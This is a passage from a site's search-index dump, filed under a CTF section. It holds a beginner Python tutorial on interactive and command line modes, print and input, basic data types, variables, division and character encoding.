"},{"location":"CTF/Python_1/#first-python-program","title":"First Python program","text":"Before we officially write our first Python program, let's review what command line mode and Python interaction mode are.
"},{"location":"CTF/Python_1/#command-line-mode","title":"Command Line Mode","text":"Select \"Command Prompt\" in the Windows Start menu to enter command line mode, which has a prompt similar to C:\\>
.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
"},{"location":"CTF/Python_1/#python-interactive-mode","title":"Python interactive mode","text":"Type the command python
in command line mode, you will see a bunch of text output like the following, then you will enter Python interactive mode, its prompt is >>>
.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - python - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> python \u2502\n\u2502Python 3.7 ... on win32 \u2502\n\u2502Type \"help\", ... for more information. \u2502\n\u2502>>> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
By typing exit()
and entering in Python interactive mode, you exit Python interactive mode and return to command line mode:
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> python \u2502\n\u2502Python 3.7 ... on win32 \u2502\n\u2502Type \"help\", ... for more information. \u2502\n\u2502>>> exit() \u2502\n\u2502 \u2502\n\u2502C:\\> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
You can also select the Python (command line)
menu item directly from the Start menu to enter Python interactive mode directly, but the window will close directly after typing exit()
and will not return to command line mode.
Once we understand how to start and exit Python's interactive mode, we can officially start writing Python code.
Before writing code, please never paste code from a page to your own computer using \"copy\"-\"paste\". In the process of writing code, beginners often make mistakes: incorrect spelling, incorrect capitalization, mixed use of English and Chinese punctuation, mixed use of spaces and tabs, so you need to check and cross-check carefully in order to master how to write programs as fast as possible.
At the interactive mode prompt >>>
, type the code directly and press enter to get the code execution result immediately. Now, try typing 100+200
and see if the calculation results in 300.
>>> 100+200\n300\n
Pretty simple, right? Any valid mathematical calculation will work out.
To get Python to print out the specified text, use the print()
function and then enclose the text you wish to print in single or double quotes, but not a mix of single and double quotes:
>>> print('hello, world')\nhello, world\n
This kind of text enclosed in single or double quotes is called a string in the program, and we will encounter it often in the future.
Finally, exit Python with exit()
and our first Python program is done! The only downside is that it wasn't saved, so you'll have to type the code again the next time you run it.
Please note the distinction between command line mode and Python interactive mode.
In command line mode, you can execute python
to enter the Python interactive environment, or you can execute python hello.py
to run a .py
file.
Executing a .py
file can only be executed in command line mode. If you hit the command python hello.py
and see the following error.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt _ \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> python hello.py \u2502\n\u2502python: can't open file 'hello.py': [Errno 2] No such \u2502\n\u2502file or directory \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
The error message No such file or directory
indicates that hello.py
is not found in the current directory, you must first switch the current directory to the directory where hello.py
is located in order to execute properly.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt _ \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502Microsoft Windows [Version 10.0.0] \u2502\n\u2502(c) 2015 Microsoft Corporation. All rights reserved. \u2502\n\u2502 \u2502\n\u2502C:\\> cd work \u2502\n\u2502 \u2502\n\u2502C:\\work> python hello.py \u2502\n\u2502Hello, world! \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
In addition, running a .py
file in command-line mode is different from running Python code directly in the Python interactive environment, which automatically prints out the result of each line of Python code, but running Python code directly does not.
For example, in the Python interactive environment, type.
>>> 100 + 200 + 300\n600\n
You can see the result 600
directly.
However, write a calc.py
file with the following content.
100 + 200 + 300\n
Then, in command line mode, execute.
C:\\work>python calc.py\n
Nothing output was found.
This is normal. To output the result, you must print it out yourself with print()
. Transform calc.py
to.
print(100 + 200 + 300)\n
Executing it again, you can see the result.
C:\\work>python calc.py\n600\n
Finally, the Python interactive mode code is typed one line and executed one line, while the command line mode directly runs the .py
file to execute all the code in the file at once. As you can see, Python interactive mode is mainly for debugging Python code and for beginners to learn, it isn't an environment to run Python code officially!
If SyntaxError
is encountered, it means that there is a syntax error in the input Python code. The most common type of syntax error is the use of Chinese punctuation, such as the use of Chinese brackets \uff08
and \uff09
.
>>> print\uff08'hello'\uff09\n File \"<stdin>\", line 1\n print\uff08'hello'\uff09\n ^\nSyntaxError: invalid character '\uff08' (U+FF08)\n
Or the Chinese quotation marks \u201c
and \u201d
are used.
>>> print(\u201chello\u201d)\n File \"<stdin>\", line 1\n print(\u201chello\u201d)\n ^\nSyntaxError: invalid character '\u201c' (U+201C)\n
When an error occurs, be sure to read the cause of the error. For the above SyntaxError
, the interpreter will explicitly state that the cause of the error is the unrecognized character \"
: invalid character '\"
.
In Python interactive mode, you can type code directly, then execute it and get the result immediately.
In command line mode, you can run the .py
file directly.
The advantage of writing a program on Python's interactive command line is that you get the result in a single click, but the disadvantage is that you can't save it and you have to knock it again the next time you want to run it.
So, in practice, we always use a text editor to write the code, and when we're done, we save it as a file so that the program can be run again and again.
Now, let's take the last 'hello, world'
program and write it in a text editor and save it.
So here's the question: which is the best text editor?
"},{"location":"CTF/Python_1/#visual-studio-code","title":"Visual Studio Code!","text":"We recommend Visual Studio Code from Microsoft, it's not the big Visual Studio, it's a streamlined version of Mini Visual Studio, and, Visual Studio Code can be used across! Platforms! Windows, Mac, and Linux universally.
Please note, do not use Word and Windows Notepad. Word saves not plain text files, and Notepad will smartly add a few special characters (UTF-8 BOM) at the beginning of the file, which will result in inexplicable errors in running the program.
With the text editor installed, enter the following code.
print('hello, world')\n
Note that there should not be any spaces in front of print
. Then, select a directory, for example, C:\\work
, save the file as hello.py
, and you can open a command line window, switch the current directory to the directory where hello.py
is located, and you can run the program as follows.
C:\\work> python hello.py\nhello, world\n
It can also be saved as another name, such as first.py
, but it must end with .py
, nothing else will work. In addition, the file name can only be a combination of letters, numbers, and underscores.
If there is no hello.py
file in the current directory, running python hello.py
will report the following error.
C:\\Users\\IEUser> python hello.py\npython: can't open file 'hello.py': [Errno 2] No such file or directory\n
The error means that the file hello.py
cannot be opened because it does not exist. In this case, you have to check whether the file exists in the current directory. If hello.py
is stored in another directory, you should first switch to the current directory with the cd
command.
Using print()
with a string in parentheses, you can output the specified text to the screen. For example, outputting 'hello, world'
is implemented in code as follows.
>>> print('hello, world')\n
The print()
function can also accept multiple strings, separated by a comma \",\", which can be concatenated into one string of output.
>>> print('The quick brown fox', 'jumps over', 'the lazy dog')\nThe quick brown fox jumps over the lazy dog\n
print()
will print each string in turn, and will output a space when it encounters a comma \",\", so that the output string is spelled out like this:
print()
can also print an integer, or the result of a calculation.
>>> print(300)\n300\n>>> print(100 + 200)\n300\n
Therefore, we can print the result of calculating 100 + 200
a little more nicely as follows.
>>> print('100 + 200 =', 100 + 200)\n100 + 200 = 300\n
Note that for 100 + 200
, the Python interpreter automatically calculates the result 300
, however, '100 + 200 ='
is a string and not a mathematical formula, Python treats it as a string, please interpret the above printout yourself.
Now, you can already output the result you want with print()
. But what if you want the user to enter some characters from the computer? Python provides an input()
that allows the user to enter a string and store it in a variable. For example, enter the user's name.
>>> name = input()\nMichael\n
Once you type name = input()
and hit enter, the Python interactive command line is waiting for your input. At this point, you can type any character you want, then press enter and finish typing.
When you're done, there's no prompt, and the Python interactive command line goes back to >>>
. So where does the content we just typed go? The answer is that it is stored in the name
variable. You can see the contents of the variable by typing name
directly.
>>> name\n'Michael'\n
What is a variable? Remind yourself of the basics of algebra learned in junior high school mathematics.
Let the side length of a square be a
, then the area of the square is a x a
. Thinking of the side length a
as a variable, we can calculate the area of the square based on the value of a
, e.g.
If a = 2, the area is a x a = 2 x 2 = 4.
If a = 3.5, then the area is a x a = 3.5 x 3.5 = 12.25.
In computer programs, variables can be not only integers or floating point numbers, but also strings, so name
as a variable is a string.
To print out the contents of the name
variable, in addition to writing name
directly and pressing enter, the print()
function can be used.
>>> print(name)\nMichael\n
With input and output, we can change the last program that printed hello, world'
to something that makes some sense:
name = input()\nprint('hello,', name)\n
Running the above program, the first line of code will ask the user to enter any character as his or her name, which will then be stored in the name
variable; the second line of code will say hello
to the user based on his or her name, for example, enter Michael
.
C:\\Workspace> python hello.py\nMichael\nhello, Michael\n
But the program runs without any prompt message telling the user: \"Hey, hurry up and enter your name\", which seems very unfriendly. Fortunately, input()
allows you to display a string to prompt the user, so we changed the code to:
name = input('please enter your name: ')\nprint('hello,', name)\n
Run the program again and you will find that as soon as the program runs, it will first print out please enter your name:
so that the user can follow the prompt and enter the name and get the output of hello, xxx
as follows:
C:\\Workspace> python hello.py\nplease enter your name: Michael\nhello, Michael\n
Each time you run the program, the output will be different depending on the user input.
At the command line, input and output are just that simple.
"},{"location":"CTF/Python_1/#summary_2","title":"Summary","text":"Any computer program is designed to perform a specific task. With input, the user can tell the computer program the information it needs, and with output, the program runs and tells the user the result of the task.
Input is Input and Output is Output, so we refer to input and output collectively as Input/Output, or abbreviated as IO.
input()
and print()
are the most basic input and output from the command line, but users can also do input and output through other more advanced graphical interfaces, for example, typing your name in a text box on a web page, clicking \"OK\" and see the output on the web page.
https://www.liaoxuefeng.com/wiki/1016959663602400/1017063413904832
https://docs.python.org/3/tutorial/index.html
"},{"location":"CTF/Python_2/#python-basics","title":"Python Basics","text":"Python is a computer programming language. A computer programming language is different from the natural language we use every day. The biggest difference is that natural languages are understood differently in different contexts, and a computer must ensure that the program written in the programming language must not be ambiguous if it is to perform its tasks according to the programming language. Python is no exception.
Python's syntax is relatively simple, indented, and written like the following.
# print absolute value of an integer:\na = 100\nif a >= 0:\n print(a)\nelse:\n print(-a)\n
Statements starting with #
are comments, which are for human eyes and can be anything, and are ignored by the interpreter. Every other line is a statement, and when the statement ends with a colon :
, the indented statement is considered a block of code.
Indentation has advantages and disadvantages. The advantage is that it forces you to write formatted code, but there is no rule about whether the indent is a few spaces or a tab. by convention, you should always stick to the 4-spaces indent.
Another advantage of indentation is that it forces you to write less indented code, and you will tend to split a long piece of code into several functions to get less indented code.
The downside of indentation is that the \"copy-paste\" feature is disabled, which is the worst part. When you refactor your code, the pasted code has to be rechecked for correct indentation. In addition, it's hard for the IDE to format Python code the way it formats Java code.
Finally, be sure to note that Python programs are case-sensitive, and if you write the wrong case, the program will report an error.
"},{"location":"CTF/Python_2/#summary","title":"Summary","text":"Python uses indentation to organize blocks of code, so be sure to follow the convention and stick to a 4-space indent.
In the text editor, you need to set up the automatic conversion of tabs to 4 spaces to make sure you don't mix tabs and spaces.
"},{"location":"CTF/Python_2/#data-types-and-variables","title":"Data types and variables","text":""},{"location":"CTF/Python_2/#data-types","title":"Data types","text":"A computer is, as the name implies, a machine that can do mathematical calculations, so it is logical that computer programs can handle all kinds of numerical values. However, computers can handle much more than just numeric values. They can also handle text, graphics, audio, video, web pages, and a wide variety of other data, and different data requires different data types to be defined. In Python, the data types that can be handled directly are as follows.
"},{"location":"CTF/Python_2/#integers","title":"integers","text":"Python can handle integers of any size, including negative integers of course, represented in programs exactly as they are written in mathematics, for example: 1
, 100
, -8080
, 0
, and so on.
Since computers use binary, it is sometimes easier to represent integers in hexadecimal, which is represented by the 0x
prefix and 0-9, a-f, for example: 0xff00
, 0xa5b4c3d2
, and so on.
For very large numbers, such as 10000000000
, it is difficult to count the number of zeros. python allows numbers to be separated by _
, so writing 10_000_000_000
is exactly the same as 10000000000
. Hexadecimal numbers can also be written as 0xa1b2_c3d4
.
Floating point numbers, also known as decimals, are called floating point numbers because the position of the decimal point of a floating point number is variable when expressed in scientific notation, for example, 1.23x109 is exactly the same as 12.3x108. Floating point numbers can be written mathematically, such as 1.23
, 3.14
, -9.01
, and so on. But for very large or small floating point numbers, they must be expressed in scientific notation, replacing 10 with e. 1.23x109 is 1.23e9
, or 12.3e8
, 0.000012 can be written as 1.2e-5
, and so on.
Integers and floating point numbers are stored differently inside the computer, and integer operations are always exact (is division also exact? Yes!) ), while floating-point operations may have rounding errors.
"},{"location":"CTF/Python_2/#strings","title":"strings","text":"A string is any text enclosed in single quotes '
or double quotes \"
, such as 'abc'
, 'xyz'
, etc. Note that ''
or \"\"
itself is just a representation, not part of a string, so the string 'abc'
has only the 3 characters a
, b
, c
. If '
itself is also a character, then it can be enclosed in \"\"
, for example, \"I'm OK\"
contains the 6 characters I
, '
, m
, space, O
, and K
.
What if the string contains both '
and \"
inside? You can use the escape character \\
to identify it, for example.
'I\\'m \\\"OK\\\"!'\n
The content of the string represented is:
I'm \"OK\"!\n
The escape character \\
can escape many characters, such as \\n
for line feeds, \\t
for tabs, and the character \\
itself should be escaped, so the character represented by \\\\
is \\
. You can use print()
on Python's interactive command line to print the string to see.
>>> print('I\\'m ok.')\nI'm ok.\n>>> print('I\\'m learning\\nPython.')\nI'm learning\nPython.\n>>> print('\\\\\\n\\\\')\n\\\n\\\n
If there are many characters inside the string that need to be escaped, you need to add a lot of \\
. For simplicity, Python also allows r''
to indicate that the string inside ''
is not escaped by default, so you can try it yourself at
>>> print('\\\\\\t\\\\')\n\\ \\\n>>> print(r'\\\\\\t\\\\')\n\\\\\\t\\\\\n
If there are many newlines inside the string, it is not good to read them in one line with \\n
. For simplicity, Python allows to use '''...'''
format to represent multiple lines of content, try it yourself:
>>> print('''line1\n... line2\n... line3''')\nline1\nline2\nline3\n
The above is typed within the interactive command line, note that when typing multiple lines, the prompt changes from >>>
to ...
, prompting you to continue typing on the previous line, note that ...
is a prompt, not part of the code: `.
\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502Command Prompt - python _ \u25a1 x \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502>>> print('''line1 \u2502\n\u2502... line2 \u2502\n\u2502... line3''') \u2502\n\u2502line1 \u2502\n\u2502line2 \u2502\n\u2502line3 \u2502\n\u2502 \u2502\n\u2502>>> _ \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n
When the terminator '''
and the brackets )
have been entered, the statement is executed and the result is printed.
If written as a program and saved as a .py
file, it would be.
print('''line1\nline2\nline3''')\n
The multi-line string '''...'''
can also be used with r
in front, please test it yourself at:
# -*- coding: utf-8 -*-\nprint(r'''hello,\\n\nworld''')\n
"},{"location":"CTF/Python_2/#boolean-values","title":"Boolean values","text":"Boolean values are identical to the representation of Boolean algebra. A Boolean value has only two values, True
, False
, either True
or False
. In Python, a Boolean value can be expressed directly as True
, False
(please note the case), or it can be calculated by Boolean operations as follows.
>>> True\nTrue\n>>> False\nFalse\n>>> 3 > 2\nTrue\n>>> 3 > 5\nFalse\n
Boolean values can be operated on with and
, or
and not
.
The and
operation is a sum operation, and the result of the and
operation is True
only if all are True
.
>>> True and True\nTrue\n>>> True and False\nFalse\n>>> False and False\nFalse\n>>> 5 > 3 and 3 > 1\nTrue\n
The or
operation is an or operation, and as long as one of them is True
, the result of the or
operation is True
.
>>> True or True\nTrue\n>>> True or False\nTrue\n>>> False or False\nFalse\n>>> 5 > 3 or 1 > 3\nTrue\n
The not
operation is a non-operation; it is a monadic operator that turns True
into False
and False
into True
.
>>> not True\nFalse\n>>> not False\nTrue\n>>> not 1 > 2\nTrue\n
Boolean values are often used in conditional judgments, e.g.
if age >= 18:\n print('adult')\nelse:\n print('teenager')\n
"},{"location":"CTF/Python_2/#null-values","title":"Null values","text":"A null value is a special value in Python, denoted by None
. None
cannot be interpreted as 0
, because 0
is meaningful, and None
is a special null value.
In addition, Python provides a variety of data types, such as lists and dictionaries, and also allows the creation of custom data types, which we will continue to talk about later.
"},{"location":"CTF/Python_2/#variables","title":"Variables","text":"The concept of a variable is basically the same as the equation variable in middle school algebra, except that in computer programs, variables can be not only numbers, but also arbitrary data types.
Variables are represented in the program by a variable name, which must be a combination of upper and lower case English, numbers, and _
, and cannot start with a number, for example.
a = 1\n
The variable a
is an integer.
t_007 = 'T007'\n
The variable t_007
is a string.
Answer = True\n
The variable Answer
is a Boolean value True
.
In Python, the equal sign =
is an assignment statement that can assign any data type to a variable, the same variable can be assigned repeatedly, and it can be a different type of variable, for example.
# -*- coding: utf-8 -*-\na = 123 # a is an integer\nprint(a)\na = 'ABC' # a becomes a string\nprint(a)\n
This type of language where the type of the variable itself is not fixed is called a dynamic language, and its counterpart is a static language. Static languages must specify the variable type when defining a variable, and will report an error if the type does not match when assigning a value. For example, Java is a static language, and the assignment statement is as follows (// indicates a comment)
int a = 123; // a is an integer type variable\na = \"ABC\"; // Error: You cannot assign a string to an integer variable\n
Dynamic languages are more flexible compared to static languages for this reason.
Please don't equate the equal sign of an assignment statement with the equal sign of mathematics. For example, the following code.
x = 10\nx = x + 2\n
If you understand x = x + 2
mathematically, that is not true anyway. In the program, the assignment statement first calculates the expression x + 2
on the right side, gets the result 12
, and then assigns it to the variable x
. Since the previous value of x
was 10
, after reassignment, the value of x
becomes 12
.
Finally, it is also important to understand how variables are represented in computer memory. When we write:
a = 'ABC'\n
Here the Python interpreter does two things.
'ABC'
in memory.a
in memory and points it to 'ABC'
.It is also possible to assign a variable a
to another variable b
, an operation that actually points the variable b
to the data pointed to the variable a
, as in the following code.
# -*- coding: utf-8 -*-\na = 'ABC'\nb = a\na = 'XYZ'\nprint(b)\n
Is the last line printing out the contents of variable b
as 'ABC'
or as 'XYZ'
? If understood in a mathematical sense, one would incorrectly conclude that b
is the same as a
and should also be 'XYZ'
, but in fact, the value of b
is 'ABC'
, so let's execute the code line by line to see what is really happening.
Executing a = 'ABC'
, the interpreter creates the string 'ABC'
and the variable a
, and points a
to 'ABC'
.
Executing b = a
, the interpreter creates the variable b
and points b
to the string 'ABC'
pointed to by a
.
Executing a = 'XYZ'
, the interpreter creates the string XYZ' and changes the pointing of
ato
'XYZ', but
b` does not change.
So, the final result of printing the variable b
will naturally be 'ABC'
.
A constant is a variable that cannot be changed, for example, the common mathematical constant \u03c0 is a constant. In Python, constants are usually represented by all-caps variable names.
PI = 3.14159265359\n
But the fact is that PI
is still a variable, and Python has no mechanism at all to ensure that PI
won't be changed, so using all-caps variable names for constants is just a customary usage, and if you must change the value of the variable PI
, no one can stop you.
Finally, an explanation of why division by integers is also exact. In Python, there are two kinds of division, one of which is /
.
>>> 10 / 3\n3.3333333333333335\n
/
The result of the division calculation is a floating point number, even if two integers are exactly divisible, and the result is a floating point number.
>>> 9 / 3\n3.0\n
Another type of division is //
, called floor division, where the division of two integers remains an integer:
>>> 10 // 3\n3\n
You read that right, the floor of an integer divided by //
is always an integer, even if the division is not exhaustive. To do exact division, use /
and you're done.
Because //
division takes only the integer part of the result, Python also provides a remainder operation that gives you the remainder of the division of two integers by.
>>> 10 % 3\n1\n
Whether an integer does //
division or takes a remainder, the result is always an integer, so the result of integer arithmetic is always exact.
Python supports a variety of data types, and within the computer, any data can be thought of as an \"object\", and variables are used in programs to point to these data objects.
Assigning x = y
to a variable is to point the variable x
to the real object that the variable y
points to. Subsequent assignments to the variable y
do not affect the pointing of the variable x
.
Note: Python's integers have no size limit, while some languages have size limits for integers based on their storage length, for example, Java limits 32-bit integers to -2147483648
-2147483647
.
Python's floating point numbers also have no size limit, but beyond a certain range, they are directly represented as inf
(infinity).
As we have already talked about, strings are also a data type, but what is special about strings is that there is also an encoding problem.
Because computers can only process numbers, if you want to process text, you must first convert the text to numbers before you can process it. The earliest computers were designed with 8 bits (bit) as a byte (byte), so the largest integer that a byte can represent is 255 (binary 1111111111 = decimal 255), and to represent larger integers, more bytes must be used. For example, the largest integer that can be represented by two bytes is 65535
and the largest integer that can be represented by four bytes is 4294967295
.
Since the computer was invented by the Americans, only 127 characters were first encoded into the computer, that is, upper and lower case English letters, numbers and some symbols, this code table is called ASCII
code, for example, the code for upper case letter A
is 65
and the code for lower case letter z
is 122
.
But to deal with Chinese, obviously, one byte is not enough, at least two bytes are needed, and it should not conflict with ASCII, so China has developed GB2312
encoding, which is used to encode Chinese.
As you can imagine, there are hundreds of languages in the world, Japan coded Japanese into Shift_JIS
, Korea coded Korean into Euc-kr
, and each country has its own standard, so there will be inevitable conflicts, and as a result, there will be garbled codes in the mixed text of multiple languages.
As a result, the Unicode character set was created. Unicode unifies all languages into one set of encodings so that there will be no more problems with garbled code.
The Unicode standard has evolved, but the most commonly used is the UCS-16 encoding, which uses two bytes to represent a character (four bytes are needed if very remote characters are to be used). Unicode is directly supported by modern operating systems and most programming languages.
Now, run through the differences between ASCII and Unicode encoding: ASCII encoding is 1 byte, while Unicode encoding is usually 2 bytes.
The letter A
is 65
in decimal and 01000001
in binary with ASCII encoding.
The character 0
in ASCII encoding is 48
in decimal and 00110000
in binary, noting that the character '0'
is different from the integer 0
.
The Chinese character \u4e2d
is beyond the scope of ASCII encoding and is 20013
in decimal and 01001110 00101101
in binary using Unicode encoding.
You can guess that if you encode the ASCII-encoded A
in Unicode, you just need to make up the 0 in front of it, so the Unicode encoding of A
is 00000000 01000001
.
